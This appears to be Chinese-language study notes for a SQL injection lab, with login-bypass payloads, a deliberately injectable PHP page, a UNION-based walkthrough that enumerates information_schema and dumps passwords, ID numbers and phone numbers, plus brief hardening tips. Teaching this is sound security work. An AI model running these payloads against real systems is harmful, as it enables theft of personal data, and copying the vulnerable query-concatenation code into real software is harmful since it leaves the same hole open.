SQL注入 

方法一: 用户名' -- 格式       例如admin' --      密码随意

方法二:用户名随意   密码格式为 随意密码' or '1'='1   123' or '1=1

分析漏洞语句  缺乏过滤的直接拼接   写一个恒成立 的sql

Select * from school.users where '$name' and '$pwd';

SQL语句正确执行,恒成立

$name =  aaa

$pwd = bb' or '1'='1

其他SQL注入的写法:

bb' or '1=1

bb' or '1=1' -- +   注释 空格 +(占字符)

bb' or 1=1 limit 1,1  -- -

案例二

使用union 查询

用于合并两个或多个 select语句的结果集,同时去除重复的记录。每个select语句必须拥有相同数量的列,且列的数据类型也必须兼容。

用union 拼接

每个select语句必须拥有相同数量的列,且列的数据类型也必须兼容。

案例2环境搭建

<?php

header("Content-Type: text/html; charset=utf-8");

$conn = mysqli_connect("127.0.0.1", "root", "root", "school");

if ($_GET) {

$id = $_GET['id'];

$sql = "SELECT * FROM users WHERE id = $id";

$result = mysqli_query($conn, $sql);

// 极简输出结果

echo "学生信息查询<br>";

if (@mysqli_num_rows($result) > 0) {

while($row=mysqli_fetch_array($result)){

echo "学生姓名:" . $row['name']."<br>";

}

} else {

echo "未找到该学生"."<br>";

echo mysqli_error($conn);

}

}else{

echo "参数是id";

}

mysqli_close($conn);

?>

get方式 可以url进行拼接?/

通过sql语句union 方式获取其他信息

       第一步 用order by 判断最大字段数

select * from users order by 数字 如果临界点大于表单的字段数就会报错,从而得出字段数         穷举

在前端 放到地址栏进行测试 order by *

使用union拼接

select * from users where id=1 union select 1,2,3,4,5

第二步:找回显位指的是那个字段在前端可以被看到

例如:看到学生姓名

前端会显示的位置

select * from users where id=-1 union select 1,2,3,4,5

从而获取显示位是第二个字段

第三步:select * from users where id=1 union select 1,(select id,name,password from school.users),3,4,5  要执行该语句前提是知道库名、表名、字段名

1.利用database()查出当前库名 school

select * from users where id=-1 union select 1,(select DATABASE()),3,4,5;

select * from users where id=-1 union select 1,DATABASE(),3,4,5;

2.从指定库中找表名    SELECT * FROM information_schema.TABLES WHERE table_schema = 'school'

SELECT table_name FROM information_schema.TABLES WHERE table_schema = 'school'

多行数据 变为单行数据

select * from users where id=-1 union select 1,(SELECT group_CONCAT(table_name) FROM information_schema.TABLES WHERE table_schema = 'school'),3,4,5

在地址栏输入

3.有了表名 使用users表的字段表

SELECT column_name FROM information_schema.COLUMNS WHERE table_schema = 'school' AND table_name='users'

select * from users where id=-1 union select 1,(

SELECT column_name FROM information_schema.COLUMNS WHERE table_schema = 'school' AND table_name='users'

),3,4,5

select * from users where id=-1 union select 1,(SELECT group_CONCAT(column_name) FROM information_schema.COLUMNS WHERE table_schema = 'school' AND table_name='users'),3,4,5

最后,获取id,name,password,id_card,phone

SELECT id,name,password,id_card,phone FROM school.users --提取全部信息

    SELECT concat_ws('-',id,name,password,id_card,phone ) FROM school.users

select * from users where id=-1 union select 1,(SELECT group_CONCAT(concat_ws('-',id,name,password,id_card,phone ) ) FROM school.users

),3,4,5

数据拿下

要从 sql找到information_schema(信息库——目录索引)

打开tables文件

查看columns  文件  什么库里有什么表 表里有哪些字段

       

从information_schema (信息库收集)

从mysql中找配置信息

select * from users where id=-1 union select 1,DATABASE(),3,4,5

select * from users where id=-1 union select 1,(select DATABASE()),3,4,5

SELECT `password` FROM USERS WHERE id=(SELECT id FROM users WHERE `name` ='admin')     用户admin作为输入,通过查询id ,密码作为输出

数据库加固

1.最小权限原则

2.查看日志

set global general_log=on;

show variables like 'general_log_file'

找到DESKTOP-AA….文件 用记事本方式打开 用IA进行分析

3.数据备份  原始数据+2份备份(本地+异地) 本地硬盘3份,U盘2份,云盘1份  1份离线

  • 创建数据库:
  • 左侧点击「新建」,数据库名填school,字符集选utf8mb4,排序规则选utf8mb4_general_ci,点击「创建」。
  • 创建用户表并插入测试数据:
  • 选中school数据库,点击「SQL」标签,粘贴以下 SQL 语句,点击「执行」:
    sql





    CREATE TABLE `users` (
      `id` INT PRIMARY KEY AUTO_INCREMENT,
      `name` VARCHAR(50) NOT NULL UNIQUE,
      `password` VARCHAR(255) NOT NULL, -- 预留加密密码的长度
      `id_card` VARCHAR(18) NOT NULL,
      `phone` VARCHAR(11) NOT NULL
    ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

    -- 插入测试数据(密码明文为123456,方便测试)
    INSERT INTO `users` (`name`, `password`, `id_card`, `phone`)
    VALUES
    ('admin', '123456', '110101199001011234', '13800138000'),
    ('student', '654321', '110101199505056789', '13900139000');
  • 案例一:

Logo

汇聚全球AI编程工具,助力开发者即刻编程。

更多推荐